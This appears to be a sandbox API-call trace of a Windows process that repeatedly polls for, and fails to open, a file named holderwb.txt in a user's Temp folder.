	[0098.726] GetClientRect (in: hWnd=0x40216, lpRect=0x6b5e0cc | out: lpRect=0x6b5e0cc) returned 1
	[0098.726] GetWindowRect (in: hWnd=0x40216, lpRect=0x6b5e0cc | out: lpRect=0x6b5e0cc) returned 1
	[0098.726] GetParent (hWnd=0x40216) returned 0x0
	[0098.726] OleInitialize (pvReserved=0x0) returned 0x0
	[0098.726] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.726] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.726] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.726] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.726] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.726] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.727] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.727] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.727] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.727] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.728] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.728] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.728] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.729] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.729] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.729] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.729] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.729] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.729] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.730] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.730] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.730] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.730] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.730] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.730] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.731] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.731] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.731] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.731] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.731] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.731] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.732] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.732] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.732] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.732] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.733] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.733] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.733] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.733] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.734] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.734] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.734] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.734] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.735] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.735] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.735] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.735] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.735] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.735] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.736] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.736] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.736] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.736] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.736] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.736] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.737] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.737] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.737] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.737] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.737] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.738] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.738] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.738] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.738] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.738] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.739] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.739] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.739] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.740] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
